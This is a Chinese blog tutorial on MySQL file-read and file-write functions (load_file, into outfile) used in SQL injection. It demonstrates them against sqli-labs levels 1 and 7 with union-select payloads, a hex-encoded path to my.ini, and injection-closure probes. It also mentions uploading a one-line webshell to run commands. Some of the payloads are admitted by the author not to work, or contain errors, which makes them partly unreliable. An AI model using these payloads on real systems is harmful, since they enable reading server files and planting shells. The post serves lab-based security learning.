SQL注入中的读些文件函数以及读些文件条件
1|0读(导出)文件函数
1|1函数名称
load_file(file_name)
1|2使用条件
- 用户有权限读取 && 文件是可读的
- 读取文件在服务器上(可以理解为文件名是存在的)
- 必须指定完整路径(路径要正确)
- 读取文件小于max_allowed_packet(该文件不能超过sql文件里规定的文件大小)
1|3演示环节
已sqli_labs第1关为例
测试当前数据库用户是否有管理员权限
读(导出)文件
系统下的常用路径:https://www.cnblogs.com/lcamry/p/5729087.html
本次环境安装在phpstudy上,假设已知道mysql的安装路径为:D:\phpstudy_pro\Extensions\MySQL5.7.26
-
union select 1,loadfile(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini),3
暂不清楚什么原因,倒不出来 -
union select 1,load_file(0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69),3
文件名的格式
1.转换为16进制
0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69
2.路径中的/用 \ \代替
load_file(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini)
不知为什么没起作用
3.用char函数将ascii转换为字母
char(44,3a,2f,70,68,70,73,74,75,64,79,5f,70,72,6f,2f,45,78,74,65,6e,73,69,6f,6e,73,2f,4d,79,53,51,4c,35,2e,37,2e,32,36,2f,6d,79,2e,69,6e,69)
2|0写文件函数
2|1函数名称
into_outfile
语句使用:select 命令 into outfile "路径"
2|2使用条件
- 路径目录必须有读写权限
- 文件名必须唯一
2|3演示环节
已sqli_labs第7关为例
关于测注入点输入'(单引号)网页报错,说明有注入点;用' and 1=1--+,页面报错,尝试闭合处的构造,使用')) and 1=1--+构造成功。
上传一句话木马
执行命令
__EOF__
作 者:ceiling~
出 处:https://www.cnblogs.com/ceiling-/p/15756483.html
关于博主:编程路上的小学生,热爱技术,喜欢专研。评论和私信会在第一时间回复。或者直接私信我。
版权声明:署名 - 非商业性使用 - 禁止演绎,协议普通文本 | 协议法律文本。
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix